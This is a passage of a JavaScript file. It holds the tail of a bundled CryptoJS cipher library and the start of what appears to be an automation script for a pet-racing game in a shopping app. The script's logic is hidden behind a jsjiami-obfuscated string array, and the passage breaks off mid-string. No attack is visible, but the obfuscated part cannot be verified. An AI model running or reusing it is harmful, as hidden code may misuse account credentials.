a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v)
|
||
}(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t
|
||
});
|
||
|
||
const $ = new Env('宠汪汪赛跑');
|
||
|
||
var _0xodt='jsjiami.com.v6',_0x474f=[_0xodt,'E8KYEsOjWsOuwoY=','w5DDrsOowpDDkw==','HMKoRHrCriPDoQ==','esONwoXCv8Oj','w7rDh10U','wolYFxJj','wqHCjcOuw7DDkA==','wr7CuMKrw4V9fHLDh14=','wrV5CkXCsEbCg1fDvA==','w7TDgwA=','Q8KcU8OX','w4rDkcKoKuisrOaxveWmvOi3oA==','w5dDPw==','woHDrsO7w4NsMQs4HA==','wqTDmy8cP8Kqfg==','XcOeTjlC','X8OEdjdSEhNhwpU=','wrwXwoUyw5A=','AGnDvcOWEg==','JklNwq/Dkg==','w6TDnsO/wojDvA==','w4URaA==','w4jDmQNBwpM=','wprDi3Q8','44KZ5o2r56a444KR5Li05LufwroSwqIlwoPCseW2kuWkg+aWuw==','5LmB5LiC6La25Y+q','w4sMPcOkEA==','IeitvemEo+aWoeeajuW/vOiPh+WNpsOpGAPDqTXCtxPCnXzDjMKeAHluw6ZkwqbCuMK/eV7CgcOvGEFTPh/CrcKDB1wZU8OKd0Rgwp/Chx3DlWbDmA==','BHrCjT5W','wojCkibDjsKTDnI=','w4Y5Eg==','w4wDNMOk','wqFKBUjCkw==','wrbDm2oVaw==','w7/Cu8OkGzk=','wrDCo8KHw5FS','w74eOVjCgg==','w7VGwp8zw7Q=','w77DggIuKsKnwojDqcOdwqQmFMOXe8OydMOLwpY=','JRvCqMO4wq84aMKpw5xXAAM=','fMK7wo/DqsOsbSUWwr7CqlROwosZR8KC','J8KoJQ==','woQYw7Unw4lMYw==','D3XDg8OHA2Y=','woPCuMOp','W8O/VTNs','wrpdPGLClUw=','w6cBLF3Chk/Cs3XCuQ==','YcK2Z8O+C8KAUjJF','DELDpMOSPg==','SsKUD8OGw4c=','w4Ixw7Rvw5bCjSVbw6xow4vDpRzCkDbCpzDDmsKnBn0AFMO6wqXCpRtBb8Khw5LDqjTCqgdZw4Iow6QlLsKVf8OBwp1qM8Odwp4MQGIowoxgwrRYw6HCinjDoxXDuCHCqWNF','aMKYwrjDrsOu','w5TDs8Onw5xrIgcNCsKKJQ5Mw6M2w7XCi8K/SFDCrMOJMg7CuC7Cr8KRw4bDocOWbD14PDfDo8OZw7vDu8OOw6gaw4USw4/DnwbDq0XDiMKgZRbCn8O9wqDDpcK0w70=','wprDhW4=','w7tdwo0cRQ==','wqcbwqrDgcKf','w4UeIWDCpw==','w4thwqE+w7w=','wo/DsysEKg==','woHDuV4xcw==','BklRwovDoQ==','w7N1wpQL','woEZw7E=','CBXCq8Op','ZkrCrjvor5LmsK3lpITotbM=','w7rDj8Oww6nDtsKkwrAbwrQ=','Hmc1wqjDkg==','wqJEw7trw74=','OWN+wovDkA==','wqTDoUk+Vw==','w48RPg==','SsKhNsOS','5LuK5Lmo6Leg5Y27','w6M/P1/Cnw==','N8O4wrpSTA==','NcKsZ2jCjg==','w6R/wpMbccKjw6Y=','JMKUek7CiA==','wpMqwqo8w7E=','e8OmTeiur+axouWloOi1mQ==','w7zDgsOhw6TDqQ==','w7DDiQtdRzXDpw==','w5rDssOUw5XDuw==','wr53Bw==','wpzCvW0mw4HDvTY=','w4TCpMKKwrzCihrCqFjDlsK7Q8OMX8Owwo7Dkg==','w5MBRsKcY8KL','HFZz','w7Yfe8Kccw==','CsOowpleSQ==','LcKHPcOGTQ==','In7CnSpc','worCt8KLw4d/','woTCm8OGECg=','w60zXhlj','AQbCssObwoc=','wr9ELxV9w5M=','w4XDsMObw4zDjMKswrIYwqM=','wqrCuMOPwqDDmcKhwprClyLCtDzCiMK7Gy7DpWbCoQcGZVvDvsKewrbDpHTCv8O/Q2bCngDCryHDrGhBw6/Cs8OdwoLCoMKMw73Dn8KNecORfMKDw5E=','w7/DnhN6VQ==','w5TDqMOsw5tRORcsBsKaagUc','LEkuwovDtQ==','w4rCksOAC2A=','wqFaMGLChA==','w78VWQha','w53DpRZuwr0=','w6RowpMoXQ==','KjDCo8OWwpw=','wogMwqQ=','H8KVV1fCvQ==','wqUAwqXDgsKc','E0/Ckydq','w7w6YjRU','W8OSwolYwoc=','w5dDP8KuLcKA','BG1rQj/Ci8OcHsOC','QcKSWcO3LcKd','6YKw6K2+5YmV5Ymj57m15pyl77+N','WMO/wo1ywpDDmgM=','VcOOwpnCkMOj','w4DCpsKIwr/CkTrCpkjDmg==','RMKOTcOLFQ==','w4F8wq84XA==','c8Orwo/CnMOM','w6goBnXCuA==','w4clEg==','XMOywqBEwqM=','DMKCFsOFTcOv','w750wp81w559w4whLw==','WDTCvMOZCjs=','fMOHwoZQwr4=','DWXDqMOdHyXDrcO8XMOXw7QdT8K6','Q8OvwoJhwqrDjwXDnMKP','wqslw5Qpw5k=','5oOu55qP6Lal6Laj5YqM5Yu05pyP5L2M5bWQ6ICj5bKH','BGDDmcOoGDnDnsO+','wrrDusK1QUk=','5p2f5ayU5pyN56Wk5a6A5rC75rCWccKfwrV9w4Tlp7nmlpM=','w5EReMKDacOjwrDClVA9wrjDicOO','44Oi5o2K56az44K75p2n5a+05p2r56WiEcKQPAhH5aev5pSK776Y6KyP6YSZ5pan6I6O5YyU','CcKiIueWqOaIiOW8s+S8lOaRi+e0gsOn5p2H5a2o5p6856eVauWysOepsuW6qG/ng4vlhLXlupHpgL/nma9X5Y2B54+rwrcFbMK7w7flj63lj5fojYjljZ5YIXHDhX4=','w5QRWsKtYA==','VsO+SQxR','CcKDFcOlRw==','O1TnuJ/kuofpnqjlkZvljYnnmIDkuLLov7XooLzotL3otqTliqTlir4Y','w6jDtsOb','woDDmHA0','w6zDng5A','Y+i0guWPqA==','w4bDi38jw6M=','O1Tlv4blpYfnuJPlpKvlj5fCpMOT','Z8KW6L+f6KCU6LW76LaA5YuV5Yqe','wokCw6Anw7s=','6IaM5baF6Leg5Y2777+G6Lal6L+b','wqTCi18Ow6Q=','w7zDjRNM','w4PDinw=','w6TDg0QjIcKrwpTDpMORwrklEcOXPg==','wrbCqsK1w4V1','K2VswqvDhA==','w4ZIwosXRg==','GFVpwp3DvQ==','w4pdLsKNEw==','FTzCqMO5wp4=','w59DNsKO','wpDCucOEKwI=','woXDuHY9QQ==','5b+t5aa96LeN6Laa5YiV5Yqz5aW75Y+mGg==','wqDCpMOiNQE=','woTChSvDu8KO','w6DDpcOZwr3DisKVw5vCmSM=','UcOywrp9wpA=','UsO6wrhjYhbCvQ==','w7fDhy9NwqU=','w7rDnsO2w6TDucK3wrg=','wpVwOnDChA==','WSjCvA==','wpvCsmMv','wqPDr8Ofw6tj','c8OzXB9W','aMKLAsO7w77Dpy7CvcKC','XMKlwrPDvMOG','w5Newog9cQ==','BlZYfAQ=','w4nDnMOywp7DtMK5w5PClCg=','bcK+wozDrg==','w5PCksOBBwE=','w5FIasK0NcKdw7QwcWE5wq9iw7jCgQ==','woXClFwhw6Y=','wqxoMxp8','wqvDgMKx6K6U5rKZ5aSO6Lao','RcKYUsOCAMKAUg==','wrjCh0IEw60=','JsOPwolAfg==','wpVbw7fCvjY=','wqpbw4Q=','BsKjU3LCujPDpQ==','QMO/wqtsbgbCr8KpXn3CgcOYw77DpVrDlw==','w6V0wpksw4Mg','w7DDpcOH','aMKMwpzDnsOu','w6DDnBVheQ==','w5rDk3Erw5Y=','RcO/wpbClcOr','w6oRYApywq4=','w7dnAcKnC8Kdw6YKbQ==','wrjDoUAVTGTCtjJc','wrvCiVQDIcK/w5/DnMOQwqwzEcOMa8OJKsOBwpfCkMKYfcKiwrTCpsKYTcOhwrNrVsOlPcKLw5h6f2HCiMKQwoPCoiE3JFciVRvDssOqwr8oA8OA','A8KTwp52w6o=','bsOEbB1L','wrLCtAjDrsKj','wozCiU0hw5A=','w4cjM3DCqA==','w4jDtSJ+wow=','LsKGFcO5ZQ==','dcKRK8OPw4I=','wr8nwqc=','wpFLw5bCvQs=','wr/Cs8OnEAI=','BUnCqB1M','NFtPRDg=','w4fCu8O4M2o=','Lm/ChBtU','w7zCpcOLDlI=','wqsNwokrw6U=','w691woA=','wrvDuAArMw==','wpnDpMKKCsK1WMOkwqPDsw==','6LSd6Lea5YmX5Yup57u25p+z','HcO4wp9XaA==','wpzDjmMwaQ==','w54HQMKDYsOywqrCn2E=','AsK/wpddw6k=','ZcK7wo3DisOk','C8KsRH8=','w4fDgHc2w4heQhXCsi8=','w4F0woANw5I=','w6XDlMOl','5oum5YmVwo/oj4blv6/nipDns48=','XsOXcDk=','w7fDssOcwrPDisKyw7rCiCs=','w5fCscKNwrHCkR3Ch1nDkg==','XcKITcOa','w7PDg0QVIcK8wpA=','w6I+AmnCug==','A8KiV1vCvSU=','wrvDo8Orw4t4','w5PDtBNObg==','wo0YwqXDjMKj','wqIxwrTDtMKK','w7bDo8OZwrvDlsKxw53Cmz8=','wpjDhX4=','wqNbwrc26K+n5rKV5aa26LWS772j6K+I5qCb5pyd57296LeQ6YaD6K2J','wqzCpQzDtcKD','w4LCtcKRwpXCsg==','asOawqfor6bmsrflppjotZU=','wo9nIxJu','wopcw6Zqw7U=','w5bDjyFkVw==','ITHCkg==','w5IbUcKAZcOVwqA=','wpfCusO1HREkAMOLP8KyXsOmw6PDtsKGwrE=','wqbDixcDK8O5','UcKyNw==','wrjCjgfDh8KM','w6M8VMKHZg==','QMKRHMODw74=','wokYwoTDv8Ke','SMKbwpfDgsOm','wpZYA2TCmA==','KcKCU2fChQ==','wprCqcOpw7LDvw==','w4l2wpcMZQ==','w63Dg8OdwpfDtQ==','w7DDuBFoVQ==','wpLCgxnDiQ==','w4jDgG8iw7peQg==','AmN3RBQ=','BWTCkRlMCg==','w4nDnMOywp7DrMK5w5/CmCg=','Z8OBwrddwqHDhhvDlcKN','G3TCv8OuGT7DpcKXIsOgwqZLw7LCtzvCqCXCs8KbwoLCq1vDmcK+wrXCgHvCjcOhw442VMO7NsKmZBvDoGTDk8OlAsOfw7c2SFTCr2NGWcOTW1skwq7CjsKVFsKpwpzCgsOOesONB0Uow6A=','wpnCvsOuw7jDsQ==','ScK/VW/CnDjDtVjDg17ClsO9wpw=','XcONwqBmwpc=','wqwyw7gAw5k=','BUvDo8OtOw==','wqTDv8KeOcKz','woHCkCPDo8K+','IcK6aHvCnA==','w6xmIcKHDQ==','CWMz','w67DslEUw6M=','wq0mwrE/w7g=','w7XCocO3FUY=','w5srB2LCtw==','wqLDkAQ=','w45zwpc7w6I=','wqEYw50gw5o=','worDncO6w5hv','worDuDogHA==','wrBjw63CuDk=','w7HCu8KRwrXCjeaOqeS5ree7v+aco8Ou','w7/DvDZHwqE=','GnxqWDDCi8OQ','BUt4wr7Dg8KK','wqDCvMKgw6Fo','wo1XIH0=','FHXDhcOeHjs=','6KyF5Yml6ZiG5oal5ZyqFA0mL8KM6L+E5YSI5qGv5Lyw5pW75YSR5a2Bw57lu63orpfpg5jovbjohYHmnZbljabojr/ljIrCmsOIw7zDmFY3','wq7DnMKVNsKN','NMKTwqtDw6A=','woLDu8O7w5ln','woTCvcK4w4NC','w6HDnsOuw7DDh8KswrI=','w4VvwoQKZg==','HsO1woRHaA==','w4UbYQZvwqM=','OEgFwqvDvQ==','w4R4wrQVw7k=','w6AHA8OSIw==','wo7DhmAyaA==','w4fCpsOuPDo=','R8OjwrRvdQ==','w60wAcOvCg==','aMK5K8Oaw58=','SMOXajxPPA==','6LWw6LWb5YmH5YqK57im5py1','wprDscKKEMK+','wrDClsKow5p6','EmtrRCPCr8OaHMOe','w7J8IsKIEQ==','w4vDnsOYw5PDkw==','wpDDi204','H3x1WwLCmMOUDMOOwp8=','wrV7Oh1a','5oiq5YipDuiPr+W+t+eKhuezkg==','VMOowojCmQ==','woDClsKFw6hDd1vDm10=','w6bDk14jJcK/wpDDhMOQ','ImrCihM=','w79lwpo9w4J+w6syOw==','ScOabTtF','w6sHRRlZ','w4nCu8K3wpfCrQ==','wr3Ch8Kdw41l','w6tywoQ5w55+w5YGJMOj','w4nCuMKowp/Clw==','D1PCsQdT','w4PDucONwoTDnQ==','N1cWwqPDmg==','woLDtcKUE8KEUMOm','6KyV5YiJ6Zul5oau5Z+cJXNPecKB6L6b5YaZ5qOk5L6u5peh5YeM5a+6w5nluYDoroPpgb/ovo7ohofmn43lj5vojrLljJVkwowmwrDCu8Oc','wrjDsMOjw6xT','wpo4w70vw4g=','BcOtwplUfktUw7BdbC3Cn8K0wp9wwoHCtSUPw6HDo8O0EcKgVMOxw6zDq8KFw5XDj2pHIxpbw7AUwqvDvCYlwpU3YQRdwrrDq8OrEEHCuRA9w5TClcOSKsO8PcKBbFnDp8OIcFc=','wrRdKWDCkEXChRHCp3vDjMKiwqpMbivDp8OFThsGw5xLNsKBwrzCvsO8WsKLw4fDs8KXw68WFxcAa8OWw7QkwqNsw6DClMOYRMOJGsKLbMKZNi/DliIWJ8KfXAbDkMKracKIf8KGw4AodMO4woHCohxZwoEVwpwPwqnDmsKZNSk/Kkgiw7tRw73CuDBkPEtiFsKDE8O9A8KVw4PDmSxifR7CkMOaVAbDicOvWhLDlXDCkUgLw5MBw4R7K8OMw4Mmw49/w6XCncOCwp8pA8KVw6fDisOZwrzCkcOnw68NwrsUH8OyT8OnOsKc','w73DusOowoLDvw==','wpjCvD7Dl8KT','wr/CtsOFw5jDtg==','ZsOswrl7wqE=','w5MnNkHClQ==','LV1TfAI=','w5HDi8Oyw5DDgA==','6YKt6KyK5YqX5Yip57qM5p2z77yj','wobCq8O3Ah0=','w4gAUcKPdcOCwrY=','DXFHwpXDkw==','wplZMhFmw7XDkWEw','w7rCncOvMQQ=','w73DiEYYNMKtwqPDk8ODwqsiGQ==','w4wvAQ==','wrHCtMO8w6DDtA==','wpRJEB9h','woEAwrwNw6g=','w7kCVcKZYA==','En9fXwY=','wp8jwoIIw7M=','woMGwrc=','w4jDgG8Aw6lDRg/CowzDmCTCn8Kuw4s=','w5g+B3jCvEfCsXbCrg==','ZsK3PMOCw4I=','w5XDmBRDwow=','w5PDvsOSw7fDkA==','w73DuAhVTQ==','FXTDmcOlFSvDk8O8TQ==','5LiB6LW36LaJ5YmC5YuE5oui5YiSQ+iOtOW+g+eKgOexng==','w6tywoQ5w55+w7UuOMOi','w5vCuMO+MiR3wqjDq1kW','VsO7wpXCncOIw53Ch3bClMKn','wpU/wp3DvcKZ','QsObRwhn','a8KGCcOjw7o=','wpHCnMOUw5/Dqw==','wo/DvMKJNsK3','woTChAPDhMKaA0xeXcKB','FFAKwqjDhQ==','wrflhrvmjYfkv4xq','5LmD5aWZ5Y+U5L2g5p+U6Lyj6KOe6YG26K2Q5YqY5Yqjw4E=','R8OlwolUwofDmw==','w5oAX8KVcw==','w5zDoHcEw7I=','e8OWwpVHbw==','w6vCnsKtwqjCkA==','w7XDtsOZwqHDnQ==','I8K4wp0=','w7bDjQpI','wpvDjQwnCg==','BsKYZ1PCjg==','w4jCpMOzMix6wpbDp1M=','worCgh7DkcKHXTMYV8KAacKLwowqwrwvIMK/w5VYAWfDvsKODSrDrHfChj0=','wqlxw5HCpDgG','w5jDpcOvFTsoDsOUP8K4HsKjw7o=','wojCkjXCl8KXAyUEVsOEOcOPw4Bwwr18b+ihuOaIouWPjeeboeivueW9m8OSUynCqWPCvH3DrsKzwo/DiMKIw6/CmybDpcODBXwiKX/DmkFPwrnDjhNowqVCw77CrcKBcMKGSMK9BsKZYEE7RsKFwoREPlZUw6hvDkpkwpDClQvCgihRbGXCgzZVw6gGOGVWw4xyw5UTw7cHcsKiZcOkaWjCrsK7N8KjwoxfwrDDjsOAwqDCsMOwGXpaEUnDjSYuwpHDkmRJfD4GSsO0Jk/CuDZo','JMKvwqU6w6jCghgywpfDix5Kw57CtcKlw6ge6KGb5oqp5Y2755qo6K695b6RBMKQwqvChlAFT8KJw40iLmA3w5htF8KjwrglwoXCi1xhwq3CqztIw43DvwDDlAgUCsOiXMOZQsOawo7Ds8KHwqxHG08+Sj3DncK5fMOKw4ULwp4JLE3CqlPDgcO2OcO6aR7CiVUzJMOzNSZ1woDCicKPwoVuwpLCp8KqJ0/DhFLCg8OzbsOWHBgeXngyJcKcWAtcwp45TzjCqlY4woYLN2LCvMOaFcK6dg1wIiLCnMOIYcKPCykaTMK0w4dZAsKBcXzDrFLCgcKgw6vCsA4SO8K0w6dn','w4EuKifCsUTDoSPCssONQMKfUcOlw5bCqg==','6KCm5oqY5YyN55uY6KyA5b+cwpZ0','wpzCrsOaRkhzAMKNM8OoVcO7wrHDpMOfw6k=','wod6w48pwoLCmz1Twr03wp3CuhHDlGfDqw==','w7l1wogQf8K4wrJP','woDDtMKnVcOtWcK4wqbDr8O4fCJeZ8KbRQ==','woUNwo/CusOaF3nDisKiGMOFKcKobnkp','SsKYSsOmNsKCXA==','CMKoRErCpjrDpVDDj1XDjsOaw48wNcOPw6c=','QMOvwothw5jDiBzDmcKVFQ==','w4LCrsKTwqDDj1nCrUnDmcK4TMKXUMKvw4HDnmk=','w4o6BX3Cu0PCuWTCvsKUH8KDWcKmw5zDsQ==','wpp7w7Ftw4c=','LcKCC8OpU8OxwpR4FcOuEsOqwp3CgB3DlxZJAEnDrkfCh8K+UMO5C8O4PmPCvMOdw5Frw5/CuT8RKMO/I8K5McOnYFlgwppdwporZMO1EzkQFmHDpsO+w5jCuMO6wpDCvcOCHUI5woXDk0YxwokiwqfDmj0vQHN/AcKNSmbCjgvCisKLYMKkwqhpw7XCncOow58DwoN7w4gGR8KweMOQfcKkJcOqB8Klw7Yiw7vChMO8w6zDrsOtw6/DosK8w5QXXER6EDLDtUjDmhN8TsOcHQ==','InnCnwULBVEww4FYw5XCtX0NY3dD','w7DDmBNda2DCozjCghhnP2QXaMODw5/DpT3DlcO1w